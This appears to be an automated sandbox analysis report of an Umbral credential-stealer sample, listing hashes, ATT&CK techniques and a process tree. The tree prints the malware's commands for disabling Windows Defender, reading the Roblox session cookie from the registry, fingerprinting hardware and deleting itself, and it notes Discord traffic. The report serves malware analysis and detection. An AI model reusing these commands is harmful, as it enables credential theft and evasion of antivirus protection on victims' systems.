umbral | 9ea40a973a1b383149e1ad60b6f52771f3c7aad02cebf19cb9955a71892c0361

Analysis

max time kernel
16s
max time network
16s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 10:26

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General

Target

ec5208d011b3fc9788fa67fff2208280N.exe
Size

230KB
MD5

ec5208d011b3fc9788fa67fff2208280
SHA1

9df5d99910a56fe4b1c31dd8cbc0c59cbf966eb2
SHA256

9ea40a973a1b383149e1ad60b6f52771f3c7aad02cebf19cb9955a71892c0361
SHA512

8ccecc78171b7dc77acd6d5df8c6d2c14a861c1afb01794f631383c839d2c2bbccb2fd4020416b73da105dbf71f8de936d45a75070e1e45797276aadfb2e191a
SSDEEP

6144:aloZM+rIkd8g+EtXHkv/iD4Q+iihv0IHc2PxM4dDob8e1mhqi:koZtL+EP8Q+iihv0IHc2PxM4d8e

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2076-1-0x0000000001210000-0x0000000001250000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2792	powershell.exe
2608	powershell.exe
1600	powershell.exe
2864	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	ec5208d011b3fc9788fa67fff2208280N.exe

Deletes itself 1 IoCs

pid	Process
2228	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2228	cmd.exe
2964	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2848	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2964	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2076	ec5208d011b3fc9788fa67fff2208280N.exe
2864	powershell.exe
2792	powershell.exe
2608	powershell.exe
1816	powershell.exe
1600	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2076	ec5208d011b3fc9788fa67fff2208280N.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe
Token: SeDebugPrivilege	1816	powershell.exe
Token: SeIncreaseQuotaPrivilege	2368	wmic.exe
Token: SeSecurityPrivilege	2368	wmic.exe
Token: SeTakeOwnershipPrivilege	2368	wmic.exe
Token: SeLoadDriverPrivilege	2368	wmic.exe
Token: SeSystemProfilePrivilege	2368	wmic.exe
Token: SeSystemtimePrivilege	2368	wmic.exe
Token: SeProfSingleProcessPrivilege	2368	wmic.exe
Token: SeIncBasePriorityPrivilege	2368	wmic.exe
Token: SeCreatePagefilePrivilege	2368	wmic.exe
Token: SeBackupPrivilege	2368	wmic.exe
Token: SeRestorePrivilege	2368	wmic.exe
Token: SeShutdownPrivilege	2368	wmic.exe
Token: SeDebugPrivilege	2368	wmic.exe
Token: SeSystemEnvironmentPrivilege	2368	wmic.exe
Token: SeRemoteShutdownPrivilege	2368	wmic.exe
Token: SeUndockPrivilege	2368	wmic.exe
Token: SeManageVolumePrivilege	2368	wmic.exe
Token: 33	2368	wmic.exe
Token: 34	2368	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 2692	2076	ec5208d011b3fc9788fa67fff2208280N.exe	30
PID 2076 wrote to memory of 2692	2076	ec5208d011b3fc9788fa67fff2208280N.exe	30
PID 2076 wrote to memory of 2692	2076	ec5208d011b3fc9788fa67fff2208280N.exe	30
PID 2076 wrote to memory of 2060	2076	ec5208d011b3fc9788fa67fff2208280N.exe	33
PID 2076 wrote to memory of 2060	2076	ec5208d011b3fc9788fa67fff2208280N.exe	33
PID 2076 wrote to memory of 2060	2076	ec5208d011b3fc9788fa67fff2208280N.exe	33
PID 2076 wrote to memory of 2864	2076	ec5208d011b3fc9788fa67fff2208280N.exe	35
PID 2076 wrote to memory of 2864	2076	ec5208d011b3fc9788fa67fff2208280N.exe	35
PID 2076 wrote to memory of 2864	2076	ec5208d011b3fc9788fa67fff2208280N.exe	35
PID 2076 wrote to memory of 2792	2076	ec5208d011b3fc9788fa67fff2208280N.exe	37
PID 2076 wrote to memory of 2792	2076	ec5208d011b3fc9788fa67fff2208280N.exe	37
PID 2076 wrote to memory of 2792	2076	ec5208d011b3fc9788fa67fff2208280N.exe	37
PID 2076 wrote to memory of 2608	2076	ec5208d011b3fc9788fa67fff2208280N.exe	39
PID 2076 wrote to memory of 2608	2076	ec5208d011b3fc9788fa67fff2208280N.exe	39
PID 2076 wrote to memory of 2608	2076	ec5208d011b3fc9788fa67fff2208280N.exe	39
PID 2076 wrote to memory of 1816	2076	ec5208d011b3fc9788fa67fff2208280N.exe	41
PID 2076 wrote to memory of 1816	2076	ec5208d011b3fc9788fa67fff2208280N.exe	41
PID 2076 wrote to memory of 1816	2076	ec5208d011b3fc9788fa67fff2208280N.exe	41
PID 2076 wrote to memory of 2368	2076	ec5208d011b3fc9788fa67fff2208280N.exe	43
PID 2076 wrote to memory of 2368	2076	ec5208d011b3fc9788fa67fff2208280N.exe	43
PID 2076 wrote to memory of 2368	2076	ec5208d011b3fc9788fa67fff2208280N.exe	43
PID 2076 wrote to memory of 356	2076	ec5208d011b3fc9788fa67fff2208280N.exe	45
PID 2076 wrote to memory of 356	2076	ec5208d011b3fc9788fa67fff2208280N.exe	45
PID 2076 wrote to memory of 356	2076	ec5208d011b3fc9788fa67fff2208280N.exe	45
PID 2076 wrote to memory of 1432	2076	ec5208d011b3fc9788fa67fff2208280N.exe	47
PID 2076 wrote to memory of 1432	2076	ec5208d011b3fc9788fa67fff2208280N.exe	47
PID 2076 wrote to memory of 1432	2076	ec5208d011b3fc9788fa67fff2208280N.exe	47
PID 2076 wrote to memory of 1600	2076	ec5208d011b3fc9788fa67fff2208280N.exe	49
PID 2076 wrote to memory of 1600	2076	ec5208d011b3fc9788fa67fff2208280N.exe	49
PID 2076 wrote to memory of 1600	2076	ec5208d011b3fc9788fa67fff2208280N.exe	49
PID 2076 wrote to memory of 2848	2076	ec5208d011b3fc9788fa67fff2208280N.exe	51
PID 2076 wrote to memory of 2848	2076	ec5208d011b3fc9788fa67fff2208280N.exe	51
PID 2076 wrote to memory of 2848	2076	ec5208d011b3fc9788fa67fff2208280N.exe	51
PID 2076 wrote to memory of 2228	2076	ec5208d011b3fc9788fa67fff2208280N.exe	53
PID 2076 wrote to memory of 2228	2076	ec5208d011b3fc9788fa67fff2208280N.exe	53
PID 2076 wrote to memory of 2228	2076	ec5208d011b3fc9788fa67fff2208280N.exe	53
PID 2228 wrote to memory of 2964	2228	cmd.exe	55
PID 2228 wrote to memory of 2964	2228	cmd.exe	55
PID 2228 wrote to memory of 2964	2228	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2060	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ec5208d011b3fc9788fa67fff2208280N.exe
"C:\Users\Admin\AppData\Local\Temp\ec5208d011b3fc9788fa67fff2208280N.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\ec5208d011b3fc9788fa67fff2208280N.exe"
  2⤵
  - Views/modifies file attributes
  PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ec5208d011b3fc9788fa67fff2208280N.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1816
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2368
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:356
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1600
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2848
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\ec5208d011b3fc9788fa67fff2208280N.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
467d7285f1828f60bb362071d512d95d

SHA1
931888dacbe5fda9dd0b725ca8631a24499c9faf

SHA256
d06bd3daa5149226508daab1fccfff14bad68acd32ca8a830d35d1d1a05d37b9

SHA512
1799d4574c5ce2ac54996487fba5f221f5e19cd63a454e3f15bef442c631198b36c969161ea8dbb44a123038bf0ece313eedc89f3f4346489d55975f76f86ed5

Download Submit
memory/1600-44-0x00000000022C0000-0x00000000022C8000-memory.dmp

Filesize
32KB

Download
memory/2076-0-0x000007FEF51B3000-0x000007FEF51B4000-memory.dmp

Filesize
4KB

Download
memory/2076-1-0x0000000001210000-0x0000000001250000-memory.dmp

Filesize
256KB

Download
memory/2076-2-0x000007FEF51B0000-0x000007FEF5B9C000-memory.dmp

Filesize
9.9MB

Download
memory/2076-48-0x000007FEF51B0000-0x000007FEF5B9C000-memory.dmp

Filesize
9.9MB

Download
memory/2792-14-0x000000001B770000-0x000000001BA52000-memory.dmp

Filesize
2.9MB

Download
memory/2792-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2864-7-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2864-8-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download